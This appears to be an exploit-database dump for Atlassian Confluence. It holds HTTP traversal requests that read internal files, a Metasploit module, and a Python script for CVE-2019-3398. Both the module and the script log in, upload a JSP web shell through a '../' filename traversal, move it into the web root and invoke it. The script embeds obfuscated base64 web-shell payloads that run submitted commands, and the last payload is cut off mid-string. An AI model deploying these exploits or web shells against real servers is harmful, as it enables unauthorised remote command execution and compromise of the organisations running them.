Host: 127.0.0.1:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

POC #4 - pom.xml

GET /s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.xml HTTP/1.1
Host: 127.0.0.1:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
            
# Exploit Title: Atlassian Confluence 6.15.1 - Directory Traversal (Metasploit)
# Google Dork: N/A
# Date: 2019-11-11
# Exploit Author: max7253
# Vendor Homepage: https://www.atlassian.com
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: 6.15.1
# Tested on: Microsoft Windows 7 Enterprise, 6.1.7601 Service Pack 1 Build 7601, Linux 5.0.0-23-generic #24~18.04.1-Ubuntu
# CVE : N/A
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
	super(update_info(info,
	'Name'			=> "Confluence Arbitrary File Write via Path Traversal (CVE-2019-3398)",
	'Description'		=> %q{
	To use this exploit you should specify the following variables:
	USERNAME and PASSWORD - the login/password to log into the web interface of the Atlassian Confluence server.
	ROOTFOLDER - the root directory of the web server. If the root directory is located in C:\confluence\pages\, set this variable to ROOTFOLDER = 'confluence/pages/'.
	Typical ROOTFOLDER locations are:
	Windows: Program Files/Atlassian/Confluence/confluence/pages/
	Linux: opt/atlassian/confluence/confluence/pages/
	Note that the root directory of the web server and the temporary directory of the Atlassian Confluence server on Windows must be on the same drive (C:\ in the example above).
	PAGEID - the pageId URL parameter you see in the browser address bar when you vist the Atlassian Confluence page where you have rights to upload files.
	For example, https://server.net/pages/viewpageattachments.action?pageId=111111111&metadataLink=true.
	If PAGEID is set to 0, the script will try to create a new Page ID. If it fails, it will try to create a new space and create a Page ID there.
	If PAGEID is not specified, the script will walk though the PAGEID_RANGE_START..PAGEID_RANGE_END range.
	The script gets authenticated to the Atlassian Confluence server, retrieves the ATLASSIAN TOKEN from the server response, uploads the shellcode, then imitates the 'Download all' action to place the shellcode to the root directory of the web server.
	Tested on Atlassian v6.15.1. on Linux and Windows.
	Note that on Linux Confluence runs under the 'confluence' account which may not have rights to save files in the root directory of the web server. In this case the exploit will fail. Also, to create a new space and get the list of existing spaces the script makes use of Confluence REST API, which is available starting from Confluence Server 5.5.
	},
	'License'			=> MSF_LICENSE,
	'Author'			=>
	[
		'Maxim Guslyaev'      # Metasploit module
	],
	'References'		=>
	[
		[ 'CVE', '2019-3398' ],
		[ 'URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2019-04-17-968660855.html' ],
		[ 'URL', 'https://devcentral.f5.com/s/articles/confluence-arbitrary-file-write-via-path-traversal-cve-2019-3398-34181'],
		[ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2019-3398']
	],
	'Privileged'		=> false,
	'Platform'		=> %w{ linux win },
	'Targets'			=>
	[
		[ 'Windows', { 'Platform' => 'win',   'Arch' => ARCH_JAVA  }],
		[ 'Linux',   { 'Platform' => 'linux', 'Arch' => ARCH_JAVA  }]
	],
	'DefaultOptions'	=>
	{
		'RPORT' => 8090,
		'SSL' => false
	},
	'DisclosureDate' => 'Nov 9 2019',
	'DefaultTarget'  => 0
	))

	register_options(
	[
		OptString.new('USERNAME', [true, 'The login to log into the web interface of the Atlassian Confluence server', 'test']),        
		OptString.new('PASSWORD', [true, 'The password to log into the web interface of the Atlassian Confluence server', 'test']),
		OptString.new('ROOTFOLDER', [true, 'The root folder of the Atlassian Confluence server', 'Program Files/Atlassian/Confluence/confluence/pages/']),
		#OptString.new('ROOTFOLDER', [true, 'The root folder of the Atlassian Confluence server', 'opt/atlassian/confluence/confluence/pages/']),
		OptString.new('FILENAME', [true, 'The JSP shellcode file name', 'covfefe.jsp']),
		OptString.new('TARGETURI', [true, 'The base to Confluence', '/']),
		OptString.new('NEWSPACE', [false, 'A new space to be created', 'TESTSPACE432545645']),
		OptInt.new('PAGEID', [false, 'A Page ID to be used to upload shellcode', 0]),
		OptInt.new('PAGEID_RANGE_START', [false, 'The first Page ID to be used to enumerate a writable Page ID (used when PAGEID is not specified)', '1']),
		OptInt.new('PAGEID_RANGE_END', [false, 'The last Page ID to be used to enumerate a writable Page ID (used when PAGEID is not specified)', '999999999']),
		
	], self.class)
end

def do_authenticate
	print_status("Sending POST request to the web application (authentication)...")
	res = send_request_cgi({
		'uri'              => normalize_uri(target_uri.path.to_s, '/dologin.action'),
		'method'           => 'POST',
		'vars_post'        => {
		'os_username'    => datastore['USERNAME'],
		'os_password'    => datastore['PASSWORD'],
		'os_destination' => '',
		'login'          => 'Log+In'
					}
			})
	if res.nil?
		print_status("Unable to access the web application!")
		return 0
	end
	@sessid = get_sid(res)
	if @sessid.nil?
		print_status("Unable to retrieve session ID!")
		return 0
	end
	print_status("Getting Session ID from the web application... #{@sessid}")
	
	if res && res.redirect?
		location = res.redirection
		if location.nil?
			print_status("Unable to access the web application when redirected!")
			return 0
		end
		res = send_request_cgi!({
		'uri'              => normalize_uri(target_uri.path.to_s, location.to_s),
		'method'           => 'GET',
		'headers'       => {
		'Cookie'           => @sessid
					}
			}, redirect_depth = 5)
	end

	if res && res.code == 200
		if res.body =~ /re-enter\syour\slogin/ || res.body =~ /Sorry,\syour\susername\sand\/or\spassword\sare\sincorrect/ || res.body =~ /Unauthorized/
			print_status("Authentication failed...")
			return 0
		end

		@xsrf_token = res.get_html_document.at('meta[@id="atlassian-token"]')['content']
		if @xsrf_token.nil? or @xsrf_token.blank?
			print_status("Failed to retrieve XSRF token...")
			return 0
		else
			print_status("Retrieving XSRF token... #{@xsrf_token}")
			return 1
		end
	else
		print_status("Unexpected response from the web application...")
		return 0
	end
end

def do_upload(_pageid)
	print_status("Sending POST request to the web application (shellcode upload)...")
	res = send_request_cgi({
		'uri'			=> normalize_uri(target_uri.path.to_s, '/plugins/drag-and-drop/upload.action'),
		'method'		=> 'POST',
		'vars_get'		=> {
		'pageId'		=> _pageid,
		'filename'		=> '../../../../../../../../../../' + datastore['ROOTFOLDER'] + datastore['FILENAME'],
		'size'			=> payload.encoded.length,
		'mimeType'		=> 'text/plain',
		'spaceKey'		=> 'isis',
		'atl_token'		=> @xsrf_token,
		'name'			=> datastore['FILENAME']
		},
		'data'			=> payload.encoded,
		'headers'		=> {
          	'Connection'		=> 'close',
		'Accept'		=> '*/*',
		'Accept-Encoding'	=> 'identity',
          	'Cookie'		=> @sessid,
		'Content-Length'	=> payload.encoded.length,
		'Content-Type'		=> 'text/plain'
		}
		})
	if res && res.code == 200 && res.body.scan(/actionErrors/).blank?
		print_status("Shellcode uploaded...")
		return 1
	else
		return 0
	end
end

def do_downloadall(_pageid)
	for downloadall_iter in 1..10
		print_status("Sending GET request to the web application (downloadall)...")
		res = send_request_cgi({
			'uri'			=> normalize_uri(target_uri.path.to_s, '/pages/downloadallattachments.action'),
			'method'		=> 'GET',
			'vars_get'		=> {
			'pageId'		=> _pageid
			},
			'headers'		=> {
          		'Cookie'		=> @sessid
			}
			})
		
		print_status("Sending GET request to the web application (shellcode invokation)...")
		res = send_request_cgi({
			'uri'			=> normalize_uri(target_uri.path.to_s, '/pages/' + datastore['FILENAME']),
			'method'		=> 'GET',
			'headers'		=> {
          		'Cookie'		=> @sessid
			}
			}, timeout = 10)

		if res && res.code == 200
			print_status("Shellcode found...")
			return 1
		else
			if downloadall_iter == 10
				print_status("Shellcode not found...")
				return 0
			end
		end
	end
end

def do_getspaces
	print_status("Sending GET request to the web application (getting available spaces)...")
		res = send_request_cgi({
			'uri'			=> normalize_uri(target_uri.path.to_s, '/rest/api/space'),
			'method'		=> 'GET',
			'headers'		=> {
			'User-Agent'		=> 'python-requests/2.20.0',
        		'Cookie'		=> @sessid,
			'Accept'		=> '*/*',
			'Accept-Encoding'	=> 'identity',
			'Content-Type'		=> 'application/json'
			}
			})

		if res && res.code == 200 && res.body =~ /results/
			space_list = res.body.scan(/\"key\":\"(\w+)\"/).flatten
		else
			space_list = Array([])
		end
	return space_list
end

def do_createspace
	print_status("Sending POST request to the web application (creating a space)...")
	res = send_request_cgi({
	'uri'			=> normalize_uri(target_uri.path.to_s, '/rest/api/space'),
	'method'		=> 'POST',
	'data'			=> {
		"key": datastore['NEWSPACE'],
		"name": "Example space",
		"description": {
		"plain": {
		"value": "This is an example space",
		"representation": "plain"
		}
		},
		"metadata": {}
		}.to_json,
	'headers'		=> {
	'User-Agent'		=> 'python-requests/2.20.0',
        'Cookie'		=> @sessid,
	'Accept-Encoding'	=> 'identity',
	'Content-Type'		=> 'application/json'
	}
	})

	if res && res.code == 200 && res.body =~ /\"key\":\"\w+\"/
		print_status("Space created...")
		return res.body.scan(/\"key\":\"(\w+)\"/).flatten[0]
	else
		print_status("Space not created...")
		return 0
	end			
end

def do_createpage(_space)
	print_status("Sending GET request to the web application (creating Page ID), space #{_space}...")
	res = send_request_cgi({
		'uri'			=> normalize_uri(target_uri.path.to_s, '/pages/createpage.action?spaceKey='+_space),
		'method'		=> 'GET',
		'headers'		=> {
        	'Cookie'		=> @sessid
		}
		})
	if res && res.code == 200 && res.body =~ /ajs-draft-id/
		pageid = res.get_html_document.at('meta[@name="ajs-draft-id"]')['content']
		pageid_parsed = /(\d+)/.match(pageid)
		if pageid_parsed.nil?
			print_status("Unexpected Page ID format...")
			return 0
		else
			print_status("Page ID created... #{pageid}")
			datastore['PAGEID'] = pageid
			return 1
		end
	else
		return 0
	end
end

def get_sid(res)
	if res.nil?
		return ''
	end
	res.get_cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || ''
end


def exploit
	print_status("Getting authenticated to the web application...")
	if do_authenticate != 1
		fail_with(Failure::Unknown, 'Initial access or authentication error!')
	end
	
	unless datastore['PAGEID'].blank?
		if datastore['PAGEID'] == 0
			print_status("Creating Page ID...")
			spaces = do_getspaces
			for sp in spaces
				if do_createpage(sp) == 1
					print_status("Uploading shellcode...")
					if do_upload(datastore['PAGEID']) != 1
						print_status("Failed to upload shellcode...")
						next
					end					
					print_status("Invoking shellcode...")
					if do_downloadall(datastore['PAGEID']) != 1
						print_status("Failed to invoke shellcode...")
						next
					else
						return
					end
				end
			end

			print_status("Trying to create a new space...")
			new_sp = do_createspace

			if new_sp != 0
				if do_createpage(new_sp) == 1
					print_status("Uploading shellcode...")
					if do_upload(datastore['PAGEID']) != 1
						fail_with(Failure::Unknown, 'Error while uploading shellcode!')
					end
					print_status("Invoking shellcode...")
					if do_downloadall(datastore['PAGEID']) != 1
						fail_with(Failure::Unknown, 'Error while invoking shellcode!')				
					end

					return
				else
					fail_with(Failure::Unknown, 'Error while creating page in the newly created space!')
				end
			else
				fail_with(Failure::Unknown, 'Error while creating space!')
			end
		end	
			
		print_status("Uploading shellcode...")
		if do_upload(datastore['PAGEID']) != 1
			fail_with(Failure::Unknown, 'Error while uploading shellcode!')
		end
		print_status("Invoking shellcode...")
		if do_downloadall(datastore['PAGEID']) != 1
			fail_with(Failure::Unknown, 'Error while invoking shellcode!')				
		end
	else
		for id in datastore['PAGEID_RANGE_START']..datastore['PAGEID_RANGE_END']
			print_status("Trying Page Id #{id}")
			print_status("Uploading shellcode...")
			if do_upload(id) == 1
				print_status("Invoking shellcode...")
				if do_downloadall(id) == 1
					break
				end
			end
		end
	end

end

def check
	res = send_request_cgi!({
		'uri'			=> normalize_uri(target_uri.path.to_s, '/login.action?anon=1&logout=1'),
		'method'		=> 'GET',
		}, redirect_depth = 5)

	if res && res.body =~ /Powered\sby/
		ver = res.body.scan(/^.*Powered\sby\s.*(\d{1,}\.\d{1,}\.\d{1,}).*$/).flatten[0]
		print_status("The version of the web application is #{ver}")
		ver_parsed = /(\d+)\.(\d+)\.(\d+)/.match(ver.to_s)
		if ver_parsed.nil?
			print_status("The version of the web application couldn't be parsed")
			return Exploit::CheckCode::Detected
		end
		ver_oct1 = ver_parsed[1].to_i
		ver_oct2 = ver_parsed[2].to_i
		ver_oct3 = ver_parsed[3].to_i
		
		if ver_oct1.between?(2, 6) && ver_oct2.between?(0, 6) && ver_oct3.between?(0, 12) || ver_oct1.between?(6, 6) && ver_oct2.between?(7, 12) && ver_oct3.between?(0, 3) || ver_oct1.between?(6, 6) && ver_oct2.between?(13, 13) && ver_oct3.between?(0, 3) || ver_oct1.between?(6, 6) && ver_oct2.between?(14, 14) && ver_oct3.between?(0, 2) || ver_oct1.between?(6, 6) && ver_oct2.between?(15, 15) && ver_oct3.between?(0, 1)
			return Exploit::CheckCode::Appears
		else
			return Exploit::CheckCode::Safe		
		end

	else
		return Exploit::CheckCode::Unknown
	end
end

end
            
# Exploit Title: Atlassian Confluence 6.15.1 - Directory Traversal
# Google Dork: N/A
# Date: 2019-11-11
# Exploit Author: max7253
# Vendor Homepage: https://www.atlassian.com
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: 6.15.1
# Tested on: Microsoft Windows 7 Enterprise, 6.1.7601 Service Pack 1 Build 7601, Linux 5.0.0-23-generic #24~18.04.1-Ubuntu
# CVE : 2019-3398

#Confluence Arbitrary File Write via Path Traversal (CVE-2019-3398)
#To use this exploit you should specify the following variables:
#OS - Linux or Windows.
#PROTO - http or https.
#USERNAME and PASSWORD - the login/password to log into the web interface of the Atlassian Confluence server.
#HOSTNAME - the domain name or IP address of the server and its port.
#ROOTFOLDER - the root directory of the web server. If the root directory is located in C:\confluence\pages\, set this variable to ROOTFOLDER = 'confluence/pages/'.
#Typical ROOTFOLDER locations are:
#Windows: Program Files/Atlassian/Confluence/confluence/pages/
#Linux: opt/atlassian/confluence/confluence/pages/
#Note that the root directory of the web server and the temporary directory of the Atlassian Confluence server on Windows must be on the same drive (C:\ in the example above).
#PAGEID - the pageId URL parameter you see in the browser address bar when you vist the Atlassian Confluence page where you have rights to upload files.
#For example, https://server.net/pages/viewpageattachments.action?pageId=111111111&metadataLink=true.
#If PAGEID is set to 0, the script will try to create a new Page ID in one of the available spaces. If it fails, it will try to create a new space and create a Page ID there.
#If PAGEID is not specified, the script will walk though the PAGEID_RANGE_START..PAGEID_RANGE_END range and try to upload shellcode till it succeeds.
#The script gets authenticated to the Atlassian Confluence server, retrieves the ATLASSIAN TOKEN from the server response, uploads the webshell, then imitates the 'Download all' action to place the webshell to the root directory of the web server.
#Tested on Atlassian v6.15.1. on Linux and Windows.
#Note that on Linux Confluence runs under the 'confluence' account which may not have rights to save files in the root directory of the web server. In this case the exploit will fail. Also, to create a new space and get the list of existing spaces the script makes use of Confluence REST API, which is available starting from Confluence Server 5.5.
import requests
import urllib3
import base64
from bs4 import BeautifulSoup
import numpy as np
import re
import json

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

OS = 'Windows' #change this parameter
PROTO = 'http' #change this parameter
USERNAME = 'test' #change this parameter
PASSWORD = 'test' #change this parameter
HOSTNAME = '192.168.198.144:8090' #change this parameter
ROOTFOLDER = 'Program Files/Atlassian/Confluence/confluence/pages/' #change this parameter (Windows)
#ROOTFOLDER = 'opt/atlassian/confluence/confluence/pages/' #change this parameter (Linux)
PAGEID = '0'#'1245201' #change this parameter
PAGEID_RANGE_START = np.int64(1) #change this parameter
PAGEID_RANGE_END = np.int64(999999999999) #change this parameter
ATLTOKEN = ''
LOGINURL = '%s://%s/dologin.action' % (PROTO, HOSTNAME)
UPLOADURL = '%s://%s/plugins/drag-and-drop/upload.action' % (PROTO, HOSTNAME)
DOWNLOADALLURL = '%s://%s/pages/downloadallattachments.action' % (PROTO, HOSTNAME)
CREATEPAGEURL = '%s://%s/pages/createpage.action?spaceKey=' % (PROTO, HOSTNAME)
VIEWSPACESURL= '%s://%s/rest/api/space' % (PROTO, HOSTNAME)
WEBSHELLURL = '%s://%s/pages/assist.jsp' % (PROTO, HOSTNAME)

SHELLCODE_WINDOWS = 'PCVAIHBhZ2UgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLiosamF2YS5uZXQuKiIlPgo8SFRNTD \
48Qk9EWT4KPEZPUk0gTUVUSE9EPSJQT1NUIiBOQU1FPSJib29raW5nIiBBQ1RJT049IiI+CjxJTlBV \
VCBUWVBFPSJ0ZXh0IiBOQU1FPSJjbWQiPgo8SU5QVVQgVFlQRT0ic3VibWl0IiBWQUxVRT0iU2VuZC \
I+CjwvRk9STT4gCjxwcmU+CjwlIApcdTAwNjlcdTAwNjZcdTAwMjBcdTAwMjhcdTAwNzJcdTAwNjVc \
dTAwNzFcdTAwNzVcdTAwNjVcdTAwNzNcdTAwNzRcdTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNT \
BcdTAwNjFcdTAwNzJcdTAwNjFcdTAwNkRcdTAwNjVcdTAwNzRcdTAwNjVcdTAwNzJcdTAwMjhcdTAw \
MjJcdTAwNjNcdTAwNkRcdTAwNjRcdTAwMjJcdTAwMjlcdTAwMjBcdTAwMjFcdTAwM0RcdTAwMjBcdT \
AwNkVcdTAwNzVcdTAwNkNcdTAwNkNcdTAwMjlcdTAwMjBcdTAwN0JcdTAwMEFcdTAwMjBcdTAwMjBc \
dTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwNkZcdTAwNzVcdTAwNzRcdTAwMk \
VcdTAwNzBcdTAwNzJcdTAwNjlcdTAwNkVcdTAwNzRcdTAwNkNcdTAwNkVcdTAwMjhcdTAwMjJcdTAw \
NDNcdTAwNkZcdTAwNkRcdTAwNkRcdTAwNjFcdTAwNkVcdTAwNjRcdTAwM0FcdTAwMjBcdTAwMjJcdT \
AwMjBcdTAwMkJcdTAwMjBcdTAwNzJcdTAwNjVcdTAwNzFcdTAwNzVcdTAwNjVcdTAwNzNcdTAwNzRc \
dTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNTBcdTAwNjFcdTAwNzJcdTAwNjFcdTAwNkRcdTAwNj \
VcdTAwNzRcdTAwNjVcdTAwNzJcdTAwMjhcdTAwMjJcdTAwNjNcdTAwNkRcdTAwNjRcdTAwMjJcdTAw \
MjlcdTAwMjBcdTAwMkJcdTAwMjBcdTAwMjJcdTAwNUNcdTAwNkVcdTAwM0NcdTAwNDJcdTAwNTJcdT \
AwM0VcdTAwMjJcdTAwMjlcdTAwM0JcdTAwMEFcdTAwMDlcdTAwNTNcdTAwNzRcdTAwNzJcdTAwNjlc \
dTAwNkVcdTAwNjdcdTAwNUJcdTAwNURcdTAwMjBcdTAwNjNcdTAwNkZcdTAwNkRcdTAwNkRcdTAwNj \
FcdTAwNkVcdTAwNjRcdTAwMjBcdTAwM0RcdTAwMjBcdTAwNkVcdTAwNjVcdTAwNzdcdTAwMjBcdTAw \
NTNcdTAwNzRcdTAwNzJcdTAwNjlcdTAwNkVcdTAwNjdcdTAwNUJcdTAwNURcdTAwMjBcdTAwN0JcdT \
AwMjJcdTAwNjNcdTAwNkRcdTAwNjRcdTAwMkVcdTAwNjVcdTAwNzhcdTAwNjVcdTAwMjJcdTAwMkNc \
dTAwMjBcdTAwMjJcdTAwMkZcdTAwNjNcdTAwMjJcdTAwMkNcdTAwMjBcdTAwNzJcdTAwNjVcdTAwNz \
FcdTAwNzVcdTAwNjVcdTAwNzNcdTAwNzRcdTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNTBcdTAw \
NjFcdTAwNzJcdTAwNjFcdTAwNkRcdTAwNjVcdTAwNzRcdTAwNjVcdTAwNzJcdTAwMjhcdTAwMjJcdT \
AwNjNcdTAwNkRcdTAwNjRcdTAwMjJcdTAwMjlcdTAwN0RcdTAwM0JcdTAwMEFcdTAwMjBcdTAwMjBc \
dTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwNTBcdTAwNzJcdTAwNkZcdTAwNj \
NcdTAwNjVcdTAwNzNcdTAwNzNcdTAwMjBcdTAwNzBcdTAwMjBcdTAwM0RcdTAwMjBcdTAwNTJcdTAw \
NzVcdTAwNkVcdTAwNzRcdTAwNjlcdTAwNkRcdTAwNjVcdTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdT \
AwNTJcdTAwNzVcdTAwNkVcdTAwNzRcdTAwNjlcdTAwNkRcdTAwNjVcdTAwMjhcdTAwMjlcdTAwMkVc \
dTAwNjVcdTAwNzhcdTAwNjVcdTAwNjNcdTAwMjhcdTAwNjNcdTAwNkZcdTAwNkRcdTAwNkRcdTAwNj \
FcdTAwNkVcdTAwNjRcdTAwMjlcdTAwM0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAw \
MjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwNEZcdTAwNzVcdTAwNzRcdTAwNzBcdTAwNzVcdTAwNzRcdT \
AwNTNcdTAwNzRcdTAwNzJcdTAwNjVcdTAwNjFcdTAwNkRcdTAwMjBcdTAwNkZcdTAwNzNcdTAwMjBc \
dTAwM0RcdTAwMjBcdTAwNzBcdTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNEZcdTAwNzVcdTAwNz \
RcdTAwNzBcdTAwNzVcdTAwNzRcdTAwNTNcdTAwNzRcdTAwNzJcdTAwNjVcdTAwNjFcdTAwNkRcdTAw \
MjhcdTAwMjlcdTAwM0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdT \
AwMjBcdTAwMjBcdTAwNDlcdTAwNkVcdTAwNzBcdTAwNzVcdTAwNzRcdTAwNTNcdTAwNzRcdTAwNzJc \
dTAwNjVcdTAwNjFcdTAwNkRcdTAwMjBcdTAwNjlcdTAwNkVcdTAwMjBcdTAwM0RcdTAwMjBcdTAwNz \
BcdTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNDlcdTAwNkVcdTAwNzBcdTAwNzVcdTAwNzRcdTAw \
NTNcdTAwNzRcdTAwNzJcdTAwNjVcdTAwNjFcdTAwNkRcdTAwMjhcdTAwMjlcdTAwM0JcdTAwMEFcdT \
AwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwNDRcdTAwNjFc \
dTAwNzRcdTAwNjFcdTAwNDlcdTAwNkVcdTAwNzBcdTAwNzVcdTAwNzRcdTAwNTNcdTAwNzRcdTAwNz \
JcdTAwNjVcdTAwNjFcdTAwNkRcdTAwMjBcdTAwNjRcdTAwNjlcdTAwNzNcdTAwMjBcdTAwM0RcdTAw \
MjBcdTAwNkVcdTAwNjVcdTAwNzdcdTAwMjBcdTAwNDRcdTAwNjFcdTAwNzRcdTAwNjFcdTAwNDlcdT \
AwNkVcdTAwNzBcdTAwNzVcdTAwNzRcdTAwNTNcdTAwNzRcdTAwNzJcdTAwNjVcdTAwNjFcdTAwNkRc \
dTAwMjhcdTAwNjlcdTAwNkVcdTAwMjlcdTAwM0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMj \
BcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwNTNcdTAwNzRcdTAwNzJcdTAwNjlcdTAwNkVcdTAw \
NjdcdTAwMjBcdTAwNjRcdTAwNjlcdTAwNzNcdTAwNzJcdTAwMjBcdTAwM0RcdTAwMjBcdTAwNjRcdT \
AwNjlcdTAwNzNcdTAwMkVcdTAwNzJcdTAwNjVcdTAwNjFcdTAwNjRcdTAwNENcdTAwNjlcdTAwNkVc \
dTAwNjVcdTAwMjhcdTAwMjlcdTAwM0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMj \
BcdTAwMjBcdTAwMjBcdTAwMjBcdTAwNzdcdTAwNjhcdTAwNjlcdTAwNkNcdTAwNjVcdTAwMjBcdTAw \
MjhcdTAwMjBcdTAwNjRcdTAwNjlcdTAwNzNcdTAwNzJcdTAwMjBcdTAwMjFcdTAwM0RcdTAwMjBcdT \
AwNkVcdTAwNzVcdTAwNkNcdTAwNkNcdTAwMjBcdTAwMjlcdTAwMjBcdTAwN0JcdTAwMEFcdTAwMjBc \
dTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMj \
BcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwNkZcdTAwNzVcdTAwNzRcdTAwMkVcdTAw \
NzBcdTAwNzJcdTAwNjlcdTAwNkVcdTAwNzRcdTAwNkNcdTAwNkVcdTAwMjhcdTAwNjRcdTAwNjlcdT \
AwNzNcdTAwNzJcdTAwMjlcdTAwM0JcdTAwMjBcdTAwNjRcdTAwNjlcdTAwNzNcdTAwNzJcdTAwMjBc \
dTAwM0RcdTAwMjBcdTAwNjRcdTAwNjlcdTAwNzNcdTAwMkVcdTAwNzJcdTAwNjVcdTAwNjFcdTAwNj \
RcdTAwNENcdTAwNjlcdTAwNkVcdTAwNjVcdTAwMjhcdTAwMjlcdTAwM0JcdTAwMjBcdTAwN0RcdTAw \
MEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwN0QKJT \
4KPC9wcmU+CjwvQk9EWT48L0hUTUw+'

SHELLCODE_LINUX ='PCVAIHBhZ2UgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLiosamF2YS5uZXQuKiIlPgo8SFRNTD \
48Qk9EWT4KPEZPUk0gTUVUSE9EPSJQT1NUIiBOQU1FPSJib29raW5nIiBBQ1RJT049IiI+CjxJTlBV \
VCBUWVBFPSJ0ZXh0IiBOQU1FPSJjbWQiPgo8SU5QVVQgVFlQRT0ic3VibWl0IiBWQUxVRT0iU2VuZC \
I+CjwvRk9STT4gCjxwcmU+CjwlIApcdTAwNjlcdTAwNjZcdTAwMjBcdTAwMjhcdTAwNzJcdTAwNjVc \
dTAwNzFcdTAwNzVcdTAwNjVcdTAwNzNcdTAwNzRcdTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNT \
BcdTAwNjFcdTAwNzJcdTAwNjFcdTAwNkRcdTAwNjVcdTAwNzRcdTAwNjVcdTAwNzJcdTAwMjhcdTAw \
MjJcdTAwNjNcdTAwNkRcdTAwNjRcdTAwMjJcdTAwMjlcdTAwMjBcdTAwMjFcdTAwM0RcdTAwMjBcdT \
AwNkVcdTAwNzVcdTAwNkNcdTAwNkNcdTAwMjlcdTAwMjBcdTAwN0JcdTAwMEFcdTAwMjBcdTAwMjBc \
dTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwNkZcdTAwNzVcdTAwNzRcdTAwMk \
VcdTAwNzBcdTAwNzJcdTAwNjlcdTAwNkVcdTAwNzRcdTAwNkNcdTAwNkVcdTAwMjhcdTAwMjJcdTAw \
NDNcdTAwNkZcdTAwNkRcdTAwNkRcdTAwNjFcdTAwNkVcdTAwNjRcdTAwM0FcdTAwMjBcdTAwMjJcdT \
AwMjBcdTAwMkJcdTAwMjBcdTAwNzJcdTAwNjVcdTAwNzFcdTAwNzVcdTAwNjVcdTAwNzNcdTAwNzRc \
dTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNTBcdTAwNjFcdTAwNzJcdTAwNjFcdTAwNkRcdTAwNj \
VcdTAwNzRcdTAwNjVcdTAwNzJcdTAwMjhcdTAwMjJcdTAwNjNcdTAwNkRcdTAwNjRcdTAwMjJcdTAw \
MjlcdTAwMjBcdTAwMkJcdTAwMjBcdTAwMjJcdTAwNUNcdTAwNkVcdTAwM0NcdTAwNDJcdTAwNTJcdT \
AwM0VcdTAwMjJcdTAwMjlcdTAwM0JcdTAwMEFcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBcdTAwMjBc \
dTAwMjBcdTAwMjBcdTAwMjBcdTAwNTNcdTAwNzRcdTAwNzJcdTAwNjlcdTAwNkVcdTAwNjdcdTAwNU \
JcdTAwNURcdTAwMjBcdTAwNjNcdTAwNkZcdTAwNkRcdTAwNkRcdTAwNjFcdTAwNkVcdTAwNjRcdTAw \
MjBcdTAwM0RcdTAwMjBcdTAwNkVcdTAwNjVcdTAwNzdcdTAwMjBcdTAwNTNcdTAwNzRcdTAwNzJcdT \
AwNjlcdTAwNkVcdTAwNjdcdTAwNUJcdTAwNURcdTAwMjBcdTAwN0JcdTAwMjJcdTAwMkZcdTAwNjJc \
dTAwNjlcdTAwNkVcdTAwMkZcdTAwNzNcdTAwNjhcdTAwMjJcdTAwMkNcdTAwMjBcdTAwMjJcdTAwMk \
RcdTAwNjNcdTAwMjJcdTAwMkNcdTAwMjBcdTAwNzJcdTAwNjVcdTAwNzFcdTAwNzVcdTAwNjVcdTAw \
NzNcdTAwNzRcdTAwMkVcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNTBcdTAwNjFcdTAwNzJcdTAwNjFcdT \
